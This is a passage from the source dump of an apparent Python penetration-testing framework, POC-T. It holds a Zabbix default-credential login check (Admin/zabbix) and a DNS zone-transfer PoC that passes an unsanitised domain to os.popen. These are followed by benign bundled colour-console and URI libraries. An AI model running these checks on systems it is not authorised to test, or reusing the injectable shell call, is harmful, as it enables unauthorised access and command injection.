拿到的post参数,并return 24 | """ 25 | _dict = {} 26 | soup = BeautifulSoup(page_content, "html.parser") 27 | for each in soup.find_all('input'): 28 | if 'value' in each.attrs and 'name' in each.attrs: 29 | _dict[each['name']] = each['value'] 30 | return _dict 31 | 32 | 33 | def poc(url): 34 | if '://' not in url: 35 | url = 'http://' + url 36 | h1 = { 37 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0', 38 | } 39 | 40 | h2 = { 41 | 'Referer': url.strip('\n'), 42 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0', 43 | } 44 | 45 | blacklist = [ 46 | 'incorrect', 47 | '', 48 | 49 | ] 50 | try: 51 | s = requests.session() 52 | c = s.get(url, timeout=10, headers=h1) 53 | dic = _get_static_post_attr(c.content) 54 | dic['name'] = 'Admin' 55 | dic['password'] = 'zabbix' 56 | r = s.post(url + '/index.php', data=dic, headers=h2, timeout=10) 57 | if 'chkbxRange.init();' in r.content: 58 | for each in blacklist: 59 | if each in r.content: 60 | return False 61 | return True 62 | return False 63 | except Exception: 64 | return False 65 | -------------------------------------------------------------------------------- /script/zonetransfer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | DNS Zone Transfer PoC 8 | 9 | 只能运行在linux环境下 10 | 系统需具备两个命令:nslookup,dig(kali里面已有) 11 | 12 | 输入格式: 不带协议名,不带目录名 13 | [ok] cdxy.me 14 | [ok] www.cdxy.me 15 | [ok] app.air.cdxy.me 16 | [wrong] http://cdxy.me 17 | [wrong] cdxy.me/index.html 18 | 19 | 会产生以下两种报错(可忽略): 20 | list index out of range 21 | couldn't get address for 'xxx.xxx.xxx.': not found 22 | 23 | """ 24 | 25 | import os 26 | import re 27 | import subprocess 28 | import time 29 | import sys 30 | 31 | 32 | def poc(domain): 33 | try: 34 | if subprocess.mswindows: 35 | print '[Error] This script only for linux/unix, please quit with [Ctrl-C]' 36 | time.sleep(10000) 37 | return False 38 | if '-C' in sys.argv: 39 | print '[Error] This script only for muti-threading mode, please quit with [Ctrl-C] and use [-eT] in your command.' 40 | time.sleep(10000) 41 | return False 42 | domain = domain.split('.')[-2].strip(' ') + '.' + domain.split('.')[-1].strip(' ') 43 | cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List 44 | dns_servers = re.findall('nameserver = (.*?)\n', cmd_res) 45 | for server in dns_servers: 46 | cmd_res = os.popen('dig @%s axfr %s' % (server, domain)).read() 47 | if cmd_res.find('Transfer failed.') < 0 and \ 48 | cmd_res.find('connection timed out') < 0 and \ 49 | cmd_res.find('XFR size') > 0: 50 | return True 51 | return False 52 | except Exception, e: 53 | return False 54 | -------------------------------------------------------------------------------- /thirdparty/IPy/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | -------------------------------------------------------------------------------- /thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/ansistrm/ansistrm.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. 3 | # 4 | import logging 5 | import os 6 | import re 7 | 8 | from lib.core.convert import stdoutencode 9 | 10 | 11 | class ColorizingStreamHandler(logging.StreamHandler): 12 | # color names to indices 13 | color_map = { 14 | 'black': 0, 15 | 'red': 1, 16 | 'green': 2, 17 | 'yellow': 3, 18 | 'blue': 4, 19 | 'magenta': 5, 20 | 'cyan': 6, 21 | 'white': 7, 22 | } 23 | 24 | # levels to (background, foreground, bold/intense) 25 | if os.name == 'nt': 26 | level_map = { 27 | logging.DEBUG: (None, 'blue', False), 28 | logging.INFO: (None, 'green', False), 29 | logging.WARNING: (None, 'yellow', False), 30 | logging.ERROR: (None, 'red', False), 31 | logging.CRITICAL: ('red', 'white', False) 32 | } 33 | else: 34 | level_map = { 35 | logging.DEBUG: (None, 'blue', False), 36 | logging.INFO: (None, 'green', False), 37 | logging.WARNING: (None, 'yellow', False), 38 | logging.ERROR: (None, 'red', False), 39 | logging.CRITICAL: ('red', 'white', False) 40 | } 41 | csi = '\x1b[' 42 | reset = '\x1b[0m' 43 | disable_coloring = False 44 | 45 | @property 46 | def is_tty(self): 47 | isatty = getattr(self.stream, 'isatty', None) 48 | return isatty and isatty() and not self.disable_coloring 49 | 50 | def emit(self, record): 51 | try: 52 | message = stdoutencode(self.format(record)) 53 | stream = self.stream 54 | 55 | if not self.is_tty: 56 | if message and message[0] == "\r": 57 | message = message[1:] 58 | stream.write(message) 59 | else: 60 | self.output_colorized(message) 61 | stream.write(getattr(self, 'terminator', '\n')) 62 | 63 | self.flush() 64 | except (KeyboardInterrupt, SystemExit): 65 | raise 66 | except IOError: 67 | pass 68 | except Exception: 69 | self.handleError(record) 70 | 71 | if os.name != 'nt': 72 | def output_colorized(self, message): 73 | self.stream.write(message) 74 | else: 75 | ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') 76 | 77 | nt_color_map = { 78 | 0: 0x00, # black 79 | 1: 0x04, # red 80 | 2: 0x02, # green 81 | 3: 0x06, # yellow 82 | 4: 0x01, # blue 83 | 5: 0x05, # magenta 84 | 6: 0x03, # cyan 85 | 7: 0x07, # white 86 | } 87 | 88 | def output_colorized(self, message): 89 | import ctypes 90 | 91 | parts = self.ansi_esc.split(message) 92 | write = self.stream.write 93 | h = None 94 | fd = getattr(self.stream, 'fileno', None) 95 | 96 | if fd is not None: 97 | fd = fd() 98 | 99 | if fd in (1, 2): # stdout or stderr 100 | h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) 101 | 102 | while parts: 103 | text = parts.pop(0) 104 | 105 | if text: 106 | write(text) 107 | 108 | if parts: 109 | params = parts.pop(0) 110 | 111 | if h is not None: 112 | params = [int(p) for p in params.split(';')] 113 | color = 0 114 | 115 | for p in params: 116 | if 40 <= p <= 47: 117 | color |= self.nt_color_map[p - 40] << 4 118 | elif 30 <= p <= 37: 119 | color |= self.nt_color_map[p - 30] 120 | elif p == 1: 121 | color |= 0x08 # foreground intensity on 122 | elif p == 0: # reset to default color 123 | color = 0x07 124 | else: 125 | pass # error condition ignored 126 | 127 | ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) 128 | 129 | def colorize(self, message, record): 130 | if record.levelno in self.level_map and self.is_tty: 131 | bg, fg, bold = self.level_map[record.levelno] 132 | params = [] 133 | 134 | if bg in self.color_map: 135 | params.append(str(self.color_map[bg] + 40)) 136 | 137 | if fg in self.color_map: 138 | params.append(str(self.color_map[fg] + 30)) 139 | 140 | if bold: 141 | params.append('1') 142 | 143 | if params and message: 144 | if message.lstrip() != message: 145 | prefix = re.search(r"\s+", message).group(0) 146 | message = message[len(prefix):] 147 | else: 148 | prefix = "" 149 | 150 | message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), 151 | 'm', message, self.reset))) 152 | 153 | return message 154 | 155 | def format(self, record): 156 | message = logging.StreamHandler.format(self, record) 157 | return self.colorize(message, record) 158 | -------------------------------------------------------------------------------- /thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module generates ANSI character codes to printing colors to terminals. 3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 4 | ''' 5 | 6 | CSI = '\033[' 7 | 8 | def code_to_chars(code): 9 | return CSI + str(code) + 'm' 10 | 11 | class AnsiCodes(object): 12 | def __init__(self, codes): 13 | for name in dir(codes): 14 | if not name.startswith('_'): 15 | value = getattr(codes, name) 16 | setattr(self, name, code_to_chars(value)) 17 | 18 | class AnsiFore: 19 | BLACK = 30 20 | RED = 31 21 | GREEN = 32 22 | YELLOW = 33 23 | BLUE = 34 24 | MAGENTA = 35 25 | CYAN = 36 26 | WHITE = 37 27 | RESET = 39 28 | 29 | class AnsiBack: 30 | BLACK = 40 31 | RED = 41 32 | GREEN = 42 33 | YELLOW = 43 34 | BLUE = 44 35 | MAGENTA = 45 36 | CYAN = 46 37 | WHITE = 47 38 | RESET = 49 39 | 40 | class AnsiStyle: 41 | BRIGHT = 1 42 | DIM = 2 43 | NORMAL = 22 44 | RESET_ALL = 0 45 | 46 | Fore = AnsiCodes( AnsiFore ) 47 | Back = AnsiCodes( AnsiBack ) 48 | Style = AnsiCodes( AnsiStyle ) 49 | 50 | -------------------------------------------------------------------------------- /thirdparty/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | 2 | import re 3 | import sys 4 | 5 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 6 | from .winterm import WinTerm, WinColor, WinStyle 7 | from .win32 import windll 8 | 9 | 10 | if windll is not None: 11 | winterm = WinTerm() 12 | 13 | 14 | def is_a_tty(stream): 15 | return hasattr(stream, 'isatty') and stream.isatty() 16 | 17 | 18 | class StreamWrapper(object): 19 | ''' 20 | Wraps a stream (such as stdout), acting as a transparent proxy for all 21 | attribute access apart from method 'write()', which is delegated to our 22 | Converter instance. 23 | ''' 24 | def __init__(self, wrapped, converter): 25 | # double-underscore everything to prevent clashes with names of 26 | # attributes on the wrapped stream object. 27 | self.__wrapped = wrapped 28 | self.__convertor = converter 29 | 30 | def __getattr__(self, name): 31 | return getattr(self.__wrapped, name) 32 | 33 | def write(self, text): 34 | self.__convertor.write(text) 35 | 36 | 37 | class AnsiToWin32(object): 38 | ''' 39 | Implements a 'write()' method which, on Windows, will strip ANSI character 40 | sequences from the text, and if outputting to a tty, will convert them into 41 | win32 function calls. 42 | ''' 43 | ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])') 44 | 45 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 46 | # The wrapped stream (normally sys.stdout or sys.stderr) 47 | self.wrapped = wrapped 48 | 49 | # should we reset colors to defaults after every .write() 50 | self.autoreset = autoreset 51 | 52 | # create the proxy wrapping our output stream 53 | self.stream = StreamWrapper(wrapped, self) 54 | 55 | on_windows = sys.platform.startswith('win') 56 | 57 | # should we strip ANSI sequences from our output? 58 | if strip is None: 59 | strip = on_windows 60 | self.strip = strip 61 | 62 | # should we should convert ANSI sequences into win32 calls? 63 | if convert is None: 64 | convert = on_windows and is_a_tty(wrapped) 65 | self.convert = convert 66 | 67 | # dict of ansi codes to win32 functions and parameters 68 | self.win32_calls = self.get_win32_calls() 69 | 70 | # are we wrapping stderr? 71 | self.on_stderr = self.wrapped is sys.stderr 72 | 73 | 74 | def should_wrap(self): 75 | ''' 76 | True if this class is actually needed. If false, then the output 77 | stream will not be affected, nor will win32 calls be issued, so 78 | wrapping stdout is not actually required. This will generally be 79 | False on non-Windows platforms, unless optional functionality like 80 | autoreset has been requested using kwargs to init() 81 | ''' 82 | return self.convert or self.strip or self.autoreset 83 | 84 | 85 | def get_win32_calls(self): 86 | if self.convert and winterm: 87 | return { 88 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 89 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 90 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 91 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 92 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 93 | AnsiFore.RED: (winterm.fore, WinColor.RED), 94 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 95 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 96 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 97 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 98 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 99 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 100 | AnsiFore.RESET: (winterm.fore, ), 101 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 102 | AnsiBack.RED: (winterm.back, WinColor.RED), 103 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 104 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 105 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 106 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 107 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 108 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 109 | AnsiBack.RESET: (winterm.back, ), 110 | } 111 | 112 | 113 | def write(self, text): 114 | if self.strip or self.convert: 115 | self.write_and_convert(text) 116 | else: 117 | self.wrapped.write(text) 118 | self.wrapped.flush() 119 | if self.autoreset: 120 | self.reset_all() 121 | 122 | 123 | def reset_all(self): 124 | if self.convert: 125 | self.call_win32('m', (0,)) 126 | elif is_a_tty(self.wrapped): 127 | self.wrapped.write(Style.RESET_ALL) 128 | 129 | 130 | def write_and_convert(self, text): 131 | ''' 132 | Write the given text to our wrapped stream, stripping any ANSI 133 | sequences from the text, and optionally converting them into win32 134 | calls. 135 | ''' 136 | cursor = 0 137 | for match in self.ANSI_RE.finditer(text): 138 | start, end = match.span() 139 | self.write_plain_text(text, cursor, start) 140 | self.convert_ansi(*match.groups()) 141 | cursor = end 142 | self.write_plain_text(text, cursor, len(text)) 143 | 144 | 145 | def write_plain_text(self, text, start, end): 146 | if start < end: 147 | self.wrapped.write(text[start:end]) 148 | self.wrapped.flush() 149 | 150 | 151 | def convert_ansi(self, paramstring, command): 152 | if self.convert: 153 | params = self.extract_params(paramstring) 154 | self.call_win32(command, params) 155 | 156 | 157 | def extract_params(self, paramstring): 158 | def split(paramstring): 159 | for p in paramstring.split(';'): 160 | if p != '': 161 | yield int(p) 162 | return tuple(split(paramstring)) 163 | 164 | 165 | def call_win32(self, command, params): 166 | if params == []: 167 | params = [0] 168 | if command == 'm': 169 | for param in params: 170 | if param in self.win32_calls: 171 | func_args = self.win32_calls[param] 172 | func = func_args[0] 173 | args = func_args[1:] 174 | kwargs = dict(on_stderr=self.on_stderr) 175 | func(*args, **kwargs) 176 | elif command in ('H', 'f'): # set cursor position 177 | func = winterm.set_cursor_position 178 | func(params, on_stderr=self.on_stderr) 179 | elif command in ('J'): 180 | func = winterm.erase_data 181 | func(params, on_stderr=self.on_stderr) 182 | elif command == 'A': 183 | if params == () or params == None: 184 | num_rows = 1 185 | else: 186 | num_rows = params[0] 187 | func = winterm.cursor_up 188 | func(num_rows, on_stderr=self.on_stderr) 189 | 190 | -------------------------------------------------------------------------------- /thirdparty/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | import atexit 2 | import sys 3 | 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | 7 | orig_stdout = sys.stdout 8 | orig_stderr = sys.stderr 9 | 10 | wrapped_stdout = sys.stdout 11 | wrapped_stderr = sys.stderr 12 | 13 | atexit_done = False 14 | 15 | 16 | def reset_all(): 17 | AnsiToWin32(orig_stdout).reset_all() 18 | 19 | 20 | def init(autoreset=False, convert=None, strip=None, wrap=True): 21 | 22 | if not wrap and any([autoreset, convert, strip]): 23 | raise ValueError('wrap=False conflicts with any other arg=True') 24 | 25 | global wrapped_stdout, wrapped_stderr 26 | sys.stdout = wrapped_stdout = \ 27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 28 | sys.stderr = wrapped_stderr = \ 29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 30 | 31 | global atexit_done 32 | if not atexit_done: 33 | atexit.register(reset_all) 34 | atexit_done = True 35 | 36 | 37 | def deinit(): 38 | sys.stdout = orig_stdout 39 | sys.stderr = orig_stderr 40 | 41 | 42 | def reinit(): 43 | sys.stdout = wrapped_stdout 44 | sys.stderr = wrapped_stdout 45 | 46 | 47 | def wrap_stream(stream, convert, strip, autoreset, wrap): 48 | if wrap: 49 | wrapper = AnsiToWin32(stream, 50 | convert=convert, strip=strip, autoreset=autoreset) 51 | if wrapper.should_wrap(): 52 | stream = wrapper.stream 53 | return stream 54 | 55 | 56 | -------------------------------------------------------------------------------- /thirdparty/colorama/win32.py: -------------------------------------------------------------------------------- 1 | 2 | # from winbase.h 3 | STDOUT = -11 4 | STDERR = -12 5 | 6 | try: 7 | from ctypes import windll 8 | except ImportError: 9 | windll = None 10 | SetConsoleTextAttribute = lambda *_: None 11 | else: 12 | from ctypes import ( 13 | byref, Structure, c_char, c_short, c_uint32, c_ushort 14 | ) 15 | 16 | handles = { 17 | STDOUT: windll.kernel32.GetStdHandle(STDOUT), 18 | STDERR: windll.kernel32.GetStdHandle(STDERR), 19 | } 20 | 21 | SHORT = c_short 22 | WORD = c_ushort 23 | DWORD = c_uint32 24 | TCHAR = c_char 25 | 26 | class COORD(Structure): 27 | """struct in wincon.h""" 28 | _fields_ = [ 29 | ('X', SHORT), 30 | ('Y', SHORT), 31 | ] 32 | 33 | class SMALL_RECT(Structure): 34 | """struct in wincon.h.""" 35 | _fields_ = [ 36 | ("Left", SHORT), 37 | ("Top", SHORT), 38 | ("Right", SHORT), 39 | ("Bottom", SHORT), 40 | ] 41 | 42 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 43 | """struct in wincon.h.""" 44 | _fields_ = [ 45 | ("dwSize", COORD), 46 | ("dwCursorPosition", COORD), 47 | ("wAttributes", WORD), 48 | ("srWindow", SMALL_RECT), 49 | ("dwMaximumWindowSize", COORD), 50 | ] 51 | def __str__(self): 52 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 53 | self.dwSize.Y, self.dwSize.X 54 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 55 | , self.wAttributes 56 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 57 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 58 | ) 59 | 60 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 61 | handle = handles[stream_id] 62 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 63 | success = windll.kernel32.GetConsoleScreenBufferInfo( 64 | handle, byref(csbi)) 65 | return csbi 66 | 67 | 68 | def SetConsoleTextAttribute(stream_id, attrs): 69 | handle = handles[stream_id] 70 | return windll.kernel32.SetConsoleTextAttribute(handle, attrs) 71 | 72 | 73 | def SetConsoleCursorPosition(stream_id, position): 74 | position = COORD(*position) 75 | # If the position is out of range, do nothing. 76 | if position.Y <= 0 or position.X <= 0: 77 | return 78 | # Adjust for Windows' SetConsoleCursorPosition: 79 | # 1. being 0-based, while ANSI is 1-based. 80 | # 2. expecting (x,y), while ANSI uses (y,x). 81 | adjusted_position = COORD(position.Y - 1, position.X - 1) 82 | # Adjust for viewport's scroll position 83 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 84 | adjusted_position.Y += sr.Top 85 | adjusted_position.X += sr.Left 86 | # Resume normal processing 87 | handle = handles[stream_id] 88 | return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position) 89 | 90 | def FillConsoleOutputCharacter(stream_id, char, length, start): 91 | handle = handles[stream_id] 92 | char = TCHAR(char) 93 | length = DWORD(length) 94 | num_written = DWORD(0) 95 | # Note that this is hard-coded for ANSI (vs wide) bytes. 96 | success = windll.kernel32.FillConsoleOutputCharacterA( 97 | handle, char, length, start, byref(num_written)) 98 | return num_written.value 99 | 100 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 101 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 102 | handle = handles[stream_id] 103 | attribute = WORD(attr) 104 | length = DWORD(length) 105 | num_written = DWORD(0) 106 | # Note that this is hard-coded for ANSI (vs wide) bytes. 107 | return windll.kernel32.FillConsoleOutputAttribute( 108 | handle, attribute, length, start, byref(num_written)) 109 | 110 | -------------------------------------------------------------------------------- /thirdparty/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | 31 | def get_attrs(self): 32 | return self._fore + self._back * 16 + self._style 33 | 34 | def set_attrs(self, value): 35 | self._fore = value & 7 36 | self._back = (value >> 4) & 7 37 | self._style = value & WinStyle.BRIGHT 38 | 39 | def reset_all(self, on_stderr=None): 40 | self.set_attrs(self._default) 41 | self.set_console(attrs=self._default) 42 | 43 | def fore(self, fore=None, on_stderr=False): 44 | if fore is None: 45 | fore = self._default_fore 46 | self._fore = fore 47 | self.set_console(on_stderr=on_stderr) 48 | 49 | def back(self, back=None, on_stderr=False): 50 | if back is None: 51 | back = self._default_back 52 | self._back = back 53 | self.set_console(on_stderr=on_stderr) 54 | 55 | def style(self, style=None, on_stderr=False): 56 | if style is None: 57 | style = self._default_style 58 | self._style = style 59 | self.set_console(on_stderr=on_stderr) 60 | 61 | def set_console(self, attrs=None, on_stderr=False): 62 | if attrs is None: 63 | attrs = self.get_attrs() 64 | handle = win32.STDOUT 65 | if on_stderr: 66 | handle = win32.STDERR 67 | win32.SetConsoleTextAttribute(handle, attrs) 68 | 69 | def get_position(self, handle): 70 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 71 | # Because Windows coordinates are 0-based, 72 | # and win32.SetConsoleCursorPosition expects 1-based. 73 | position.X += 1 74 | position.Y += 1 75 | return position 76 | 77 | def set_cursor_position(self, position=None, on_stderr=False): 78 | if position is None: 79 | #I'm not currently tracking the position, so there is no default. 80 | #position = self.get_position() 81 | return 82 | handle = win32.STDOUT 83 | if on_stderr: 84 | handle = win32.STDERR 85 | win32.SetConsoleCursorPosition(handle, position) 86 | 87 | def cursor_up(self, num_rows=0, on_stderr=False): 88 | if num_rows == 0: 89 | return 90 | handle = win32.STDOUT 91 | if on_stderr: 92 | handle = win32.STDERR 93 | position = self.get_position(handle) 94 | adjusted_position = (position.Y - num_rows, position.X) 95 | self.set_cursor_position(adjusted_position, on_stderr) 96 | 97 | def erase_data(self, mode=0, on_stderr=False): 98 | # 0 (or None) should clear from the cursor to the end of the screen. 99 | # 1 should clear from the cursor to the beginning of the screen. 100 | # 2 should clear the entire screen. (And maybe move cursor to (1,1)?) 101 | # 102 | # At the moment, I only support mode 2. From looking at the API, it 103 | # should be possible to calculate a different number of bytes to clear, 104 | # and to do so relative to the cursor position. 105 | if mode[0] not in (2,): 106 | return 107 | handle = win32.STDOUT 108 | if on_stderr: 109 | handle = win32.STDERR 110 | # here's where we'll home the cursor 111 | coord_screen = win32.COORD(0,0) 112 | csbi = win32.GetConsoleScreenBufferInfo(handle) 113 | # get the number of character cells in the current buffer 114 | dw_con_size = csbi.dwSize.X * csbi.dwSize.Y 115 | # fill the entire screen with blanks 116 | win32.FillConsoleOutputCharacter(handle, ord(' '), dw_con_size, coord_screen) 117 | # now set the buffer's attributes accordingly 118 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen ); 119 | # put the cursor at (0, 0) 120 | win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y)) 121 | -------------------------------------------------------------------------------- /thirdparty/httplib2/iri2uri.py: -------------------------------------------------------------------------------- 1 | """ 2 | iri2uri 3 | 4 | Converts an IRI to a URI. 5 | 6 | """ 7 | __author__ = "Joe Gregorio (joe@bitworking.org)" 8 | __copyright__ = "Copyright 2006, Joe Gregorio" 9 | __contributors__ = [] 10 | __version__ = "1.0.0" 11 | __license__ = "MIT" 12 | __history__ = """ 13 | """ 14 | 15 | import urlparse 16 | 17 | 18 | # Convert an IRI to a URI following the rules in RFC 3987 19 | # 20 | # The characters we need to enocde and escape are defined in the spec: 21 | # 22 | # iprivate = %xE000-F8FF / %xF0000-FFFFD / %x100000-10FFFD 23 | # ucschar = %xA0-D7FF / %xF900-FDCF / %xFDF0-FFEF 24 | # / %x10000-1FFFD / %x20000-2FFFD / %x30000-3FFFD 25 | # / %x40000-4FFFD / %x50000-5FFFD / %x60000-6FFFD 26 | # / %x70000-7FFFD / %x80000-8FFFD / %x90000-9FFFD 27 | # / %xA0000-AFFFD / %xB0000-BFFFD / %xC0000-CFFFD 28 | # / %xD0000-DFFFD / %xE1000-EFFFD 29 | 30 | escape_range = [ 31 | (0xA0, 0xD7FF), 32 | (0xE000, 0xF8FF), 33 | (0xF900, 0xFDCF), 34 | (0xFDF0, 0xFFEF), 35 | (0x10000, 0x1FFFD), 36 | (0x20000, 0x2FFFD), 37 | (0x30000, 0x3FFFD), 38 | (0x40000, 0x4FFFD), 39 | (0x50000, 0x5FFFD), 40 | (0x60000, 0x6FFFD), 41 | (0x70000, 0x7FFFD), 42 | (0x80000, 0x8FFFD), 43 | (0x90000, 0x9FFFD), 44 | (0xA0000, 0xAFFFD), 45 | (0xB0000, 0xBFFFD), 46 | (0xC0000, 0xCFFFD), 47 | (0xD0000, 0xDFFFD), 48 | (0xE1000, 0xEFFFD), 49 | (0xF0000, 0xFFFFD), 50 | (0x100000, 0x10FFFD), 51 | ] 52 | 53 | def encode(c): 54 | retval = c 55 | i = ord(c) 56 | for low, high in escape_range: 57 | if i < low: 58 | break 59 | if i >= low and i <= high: 60 | retval = "".join(["%%%2X" % ord(o) for o in c.encode('utf-8')]) 61 | break 62 | return retval 63 | 64 | 65 | def iri2uri(uri): 66 | """Convert an IRI to a URI. Note that IRIs must be 67 | passed in a unicode strings. That is, do not utf-8 encode 68 | the IRI before passing it into the function.""" 69 | if isinstance(uri ,unicode): 70 | (scheme, authority, path, query, fragment) = urlparse.urlsplit(uri) 71 | authority = authority.encode('idna') 72 | # For each character in 'ucschar' or 'iprivate' 73 | # 1. encode as utf-8 74 | # 2. then %-encode each octet of that utf-8 75 | uri = urlparse.urlunsplit((scheme, authority, path, query, fragment)) 76 | uri = "".join([encode(c) for c in uri]) 77 | return uri 78 | 79 | if __name__ == "__main__": 80 | import unittest 81 | 82 | class Test(unittest.TestCase): 83 | 84 | def test_uris(self): 85 | """Test that URIs are invariant under the transformation.""" 86 | invariant = [ 87 | u"ftp://ftp.is.co.za/rfc/rfc1808.txt", 88 | u"http://www.ietf.org/rfc/rfc2396.txt", 89 | u"ldap://[2001:db8::7]/c=GB?objectClass?one", 90 | u"mailto:John.Doe@example.com", 91 | u"news:comp.infosystems.www.servers.unix", 92 | u"tel:+1-816-555-1212", 93 | u"telnet://192.0.2.16:80/", 94 | u"urn:oasis:names:specification:docbook:dtd:xml:4.1.2" ] 95 | for uri in invariant: 96 | self.assertEqual(uri, iri2uri(uri)) 97 | 98 | def test_iri(self): 99 | """ Test that the right type of escaping is done for each part of the URI.""" 100 | self.assertEqual("http://xn--o3h.com/%E2%98%84", iri2uri(u"http://\N{COMET}.com/\N{COMET}")) 101 | self.assertEqual("http://bitworking.org/?fred=%E2%98%84", iri2uri(u"http://bitworking.org/?fred=\N{COMET}")) 102 | self.assertEqual("http://bitworking.org/#%E2%98%84", iri2uri(u"http://bitworking.org/#\N{COMET}")) 103 | self.assertEqual("#%E2%98%84", iri2uri(u"#\N{COMET}")) 104 | self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}")) 105 | self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}"))) 106 | self.assertNotEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}".encode('utf-8'))) 107 | 108 | unittest.main() 109 | 110 | 111 | -------------------------------------------------------------------------------- /thirdparty/odict/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # The BSD License 4 | # 5 | # Copyright 2003-2008 Nicola Larosa, Michael Foord 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to deal 9 | # in the Software without restriction, including without limitation the rights 10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | # copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # 